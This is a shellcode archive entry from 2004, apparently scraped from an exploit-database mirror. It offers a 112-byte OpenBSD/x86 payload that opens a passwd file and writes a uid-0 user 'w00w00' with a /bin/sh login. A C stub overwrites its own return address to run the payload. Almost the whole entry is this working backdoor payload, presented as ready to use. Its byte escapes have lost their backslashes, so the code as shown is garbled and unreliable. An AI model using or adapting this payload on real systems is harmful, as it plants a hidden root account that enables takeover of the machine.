[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : openbsd/x86 add user w00w00 112 bytes
# Published : 2004-09-26
# Author : n/a
# Previous Title : openbsd/x86 portbind port 6969 148 bytes
# Next Title : os-x/PPC Add user r00t 219 bytes


#include <string.h>

char shell[]=
"xebx2bx5ex31xc0x88x46x0b"
"x88x46x29x50xb0x09x50x31"
"xc0x56x50xb0x05xcdx80x89"
"xc3x6ax1dx8dx46x0cx50x53"
"x50x31xc0xb0x04xcdx80x31"
"xc0xb0x01xcdx80xe8xd0xff"
"xffxffx2fx74x6dx70x2fx70"
"x61x73x73x77x64x30x77x30"
"x30x77x30x30x3ax3ax30x3a"
"x30x3ax77x30x30x77x30x30"
"x3ax2fx3ax2fx62x69x6ex2f"
"x73x68x0ax30xffxffxffxff"
"xffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxff";

main()
{
   int *ret;
   printf("n%dn",sizeof(shell));
   ret=(int*)&ret+2;
   (*ret)=(int)shell;
}

// www.Syue.com [2004-09-26]